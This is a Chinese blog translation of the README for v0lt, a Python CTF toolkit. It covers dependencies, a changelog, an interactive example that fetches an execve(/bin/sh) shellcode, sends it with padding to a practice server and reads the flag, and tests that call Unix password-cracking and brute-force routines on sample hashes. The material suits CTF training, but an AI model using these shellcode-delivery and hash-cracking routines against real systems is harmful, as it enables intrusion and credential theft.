v0lt CTF安全工具包

0×00 v0lt
v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具。实践任务可能会采用bash脚本来解决,但我认为Python更具有灵活性,这也是我做出这一选择的原因。和丹麦CTF队伍Gallopsled开发的pwntools 没有关系,v0lt只是一个小型灵活但是却具有一些特别功能的工具包。
0×01 要求和安装
依赖关系:
- Libmagic
- Python3
- BeautifulSoup
- Requests
- filemagic
- hexdump
- passlib
安装:
|
1
2
3
|
git clone https://github.com/P1kachu/v0lt.gitcd v0lt[sudo] python3 setup.py install # 要求sudo执行是因为可能存在缺失的依赖关系 |
实例: Shellcodes
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
>>> from v0lt import *>>> nc = Netcat("archpichu.ddns.net", 65102)Connected to port 65102>>> print(nc.read())GIVE ME SHELLCODZ>>> shellhack = ShellHack(4096, "bin","execve")>>> shellhack.get_shellcodes(shellhack.keywords) ...<SNIPPED>...85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes86: Linux/x86:execve (/bin/sh) - 21 Bytes87: Linux/x86:break chroot execve /bin/sh - 80 bytes88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes...<SNIPPED>... Selection: 86Your choice: http://shell-storm.org/shellcode/files/shellcode-752.phpShellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]" >>> nc.shellcat(shellhack.shellcode)>>> nc.writeln(shellhack.pad())>>> exploit = nc.dialogue("cat flag", 3)>>> print(exploit)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:File name too longP1kaCTF{sh3llc0de_1s_e4zY} |
实现功能:
加密
- Base64
- 凯撒移位
- 哈希功能(SHA, MD5)
- 位运算(XOR, 反向XOR)
- 常用转换(bytes, strings, hex)
- RSA基础模块 (逆模, 逆幂, 实现RSA共模攻击的egcd脚本…)
- 暴力破解(基于字典, 自定义词)
Shellcodes
- 从Jonathan Salwan的个人网站Shell-storm选定Shellcode并用repo工具下载
- Shellcode格式
- Shell{cat,net}: 轻松发送Shellcode
- 自动填充
连接支持
- Netcat
- Telnet
更多可获得的实例:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
import unittest from v0lt import * __author__ = 'P1kachu' class Tests(unittest.TestCase): def test_netcat(self): nc = Netcat("archpichu.ddns.net", 65103) self.assertEqual(nc.read(), "\nNothing to display yet...\n") def test_telnet(self): tl = Telnet("archpichu.ddns.net", 65103) self.assertEqual(tl.read(), "\nNothing to display yet...\n") def test_stack(self): stack = Stack() self.assertEqual(stack.size(), 0) stack.push("item") self.assertEqual(stack.is_empty(), False) self.assertEqual(stack.size(), 1) item = stack.pop() self.assertEqual(stack.size(), 0) self.assertEqual(item, "item") self.assertEqual(stack.is_empty(), True) def test_basic_ceasar(self): plaintext = "This is a ceasar plaintext" encrypted = "GUVF VF N PRNFNE CYNVAGRKG" deciphered = basic_ceasar(plaintext, offset=13) self.assertEqual(encrypted, deciphered) def test_get_shellcode(self): sh = ShellHack(70, "/bin/lol") sh.get_shellcodes(sh.keywords) sh = ShellHack(70, "/bin/sh") sh.get_shellcodes(sh.keywords) def test_flag_gen(self): flags_gen("flags.tmp", "P1ka", 10) def test_find_nth(self): self.assertEqual(find_nth("lolilol", "l", 3), 6) self.assertEqual(find_nth("lolilol", "l", 4), -1) def brute(self): bf = Bruteforce(charset="abcd", final_length=5, begin_with="l", end_with="P") bf.generate_strings() bf = Bruteforce(charset="abcdef", final_length=12, begin_with="l", end_with="P") bf.generate_strings(output="bf.tmp") def test_hex(self): he = Hexeditor() he.dump_file("setup.py") he.save_file_as_hex("save.tmp") he.restore_file("test1.tmp") he.restore_file("test2.tmp", "save.tmp") def test_passwd_cracker(self): nix_basic_pass_cracker("HX9LLTdc/jiDE") nix_basic_pass_cracker("HX8LLTdc/jiDE") # nix_basic_pass_cracker("$1$khkWa1Nz$7YcmdOO1/uyHhMB7ga2L.1") # nix_basic_pass_cracker("$5$khkWa1Nz$583CsGZkoT82wh2ukf75KT4VVrf9ZO/P0FXLiPKgG//") # nix_basic_pass_cracker("$6$P1$XKg/SKZpe8Gbl5Utt3XVJEA4zJ6KB.IuZlShnP2FljfF32z3zoytnB.MaP9dJOObSOtiidHmeBp.feOqK4Mvg/") if __name__ == "__main__": suite = unittest.defaultTestLoader.loadTestsFromTestCase(Tests) unittest.TextTestRunner().run(suite) |
0×02 变更记录
只包括主要功能和变化。错误修正和次要的变化略。
1.3 版本
- 再次做了许多修复
- Hexeditor (转储/重写文件)
- Unix密码暴力破解
1.2 版本
- 修改/修复/修正了许多文档/bugs/框架
- 增加了暴力破解模块
- 增加了linux下一些实用工具
- 增加了Hexeditor
- Shellhack修复
- 增加了警报信息
1.0 版本
- 修改了许多文档
- 修复了许多bugs
- 增加了shellhack (shellcodes参照工具)
- 增加了加密工具
- 增加了网络方面工具
- 固定了项目树
译者注:
项目作者:P1kachu
项目主页:https://github.com/P1kachu/v0lt
转载请注明来自4ido10n's Blog文章《v0lt CTF安全工具包》
v0lt CTF安全工具包的更多相关文章
- 网络安全学习和CTF必不可少的一些网站
[转载备用] 原文地址 http://blog.csdn.net/ida0918/article/details/52730662 http://www.sec-wiki.com/skill/ 安全 ...
- 【转】个人总结-网络安全学习和CTF必不可少的一些网站
转自:http://blog.csdn.net/ida0918/article/details/52730662 学习的地方很多,不能一一列举,一些优秀的网址和博客可能也没有提到,大家补充吧:P就简单 ...
- 网络安全与CTF在线学习资源网站
http://www.sec-wiki.com/skill/ 安全技能(里面渗透逆向编程都有介绍) http://blog.knownsec.com/Knownsec_RD_Checklist/ 知道 ...
- 个人CTF资源聚合
i春秋 幻泉 CTF入门课程笔记 视频地址 能力 思维能力 快速学习能力 技术能力 基础 编程基础 (c语言 汇编语言 脚本语言) 数学基础 (算法 密码学) 脑洞 (天马行空的想象推理) 体力耐力( ...
- CTF入门指南
转自http://www.cnblogs.com/christychang/p/6032532.html ctf入门指南 如何入门?如何组队? capture the flag 夺旗比赛 类型: We ...
- CTF入门指南(0基础)
ctf入门指南 如何入门?如何组队? capture the flag 夺旗比赛 类型: Web 密码学 pwn 程序的逻辑分析,漏洞利用windows.linux.小型机等 misc 杂项,隐写,数 ...
- CTF取证方法大汇总,建议收藏!
站在巨人的肩头才会看见更远的世界,这是一篇来自技术牛人的神总结,运用多年实战经验总结的CTF取证方法,全面细致,通俗易懂,掌握了这个技能定会让你在CTF路上少走很多弯路,不看真的会后悔! 本篇文章大约 ...
- (笔记)CTF入门指南
[考项分类] Web: 网页安全 Crypto: 密码学(凯撒密码等) PWN: 对程序逻辑分析 系统漏洞利用 Misc: 杂项 图片隐写 数据还原 脑洞类 信息安全有关的 Reverse: 逆向工程 ...
- CTF传送门
https://www.zhihu.com/question/30505597详细见知乎 推荐书: A方向: RE for BeginnersIDA Pro权威指南揭秘家庭路由器0day漏洞挖掘技术自 ...
随机推荐
- 【UWP】在不同类库使用ResourceDictionaries
通常我们在类库中定义资源的时候可以在Theme/Generic.xaml中定义,当类库加载的时候,会自动加载Generic.xaml文件中的资源,通常用在控件库中,但如果控件多了之后,所有的Style ...
- 【人在江湖飘,哪有不带刀】神器Jumony
大神博客:http://www.cnblogs.com/Ivony/p/3447536.html 项目地址:https://github.com/Ivony/Jumony 1.安装Jumony包 在N ...
- java的if else语句入门
条件语句,是程序中根据条件是否成立进行选择执行的一类语句,这类语句在实际使用中,难点在于如何准确的抽象条件.例如实现程序登录功能时,如果用户名和密码正确,则进入系统,否则弹出“密码错误”这样的提示框等 ...
- Web端权限管理新增实用功能:批量增加操作,简单方便快速!
扩展了吉日嘎拉的Web端权限管理功能后,每次添加菜单倒没啥问题,毕竟菜单的数量有限,可是每增加一个模块.功能或者说权限控制点,就得针对各种常规操作,新增很多遍. 浪费时间,还容易出错.新增了一个字典表 ...
- html5学习笔记(2)
效果图 以下为源码 <!DOCTYPE html> <html> <head lang="en"> <meta charset=" ...
- C++: DataGridView::DataSource
#pragma once #include "Form2.h" namespace cdemo { using namespace System; using namespace ...
- luogg_java学习_02_基本语法
本文为博主辛苦总结,希望自己以后返回来看的时候理解更深刻,也希望可以起到帮助初学者的作用. 转载请注明 出自 : luogg的博客园 谢谢配合! 关键字 定义:被java语言赋予了特殊含义,用作专门用 ...
- ubuntu下golang环境配置
安装go 可以到Golang中国下载go的安装包 解压安装包tar -C /usr/local -xzf <安装包> 添加环境变量`export PATH=$PATH:/usr/local ...
- Mac OS Git 安装
一.Git是一个分布式的代码版本管理工具.类似的常用工具还有SVN,CVS.最大的特点也是优点在于提供分布式的代码管理 1.分支代码只有一份! 使用过svn的童鞋想必都知道,当我们要开发一个新功能或者 ...
- Dense.js - 响应式的视网膜(Rtina)图像支持
Dense 是一款 jQuery 插件,它提供一个简单的方法为设备提供精密像素比的图像,为你的网站带来视网膜支持,清除模糊,图像更清晰.通过简单地包括 jQuery 插件的页面上,就能实现响应式的视网 ...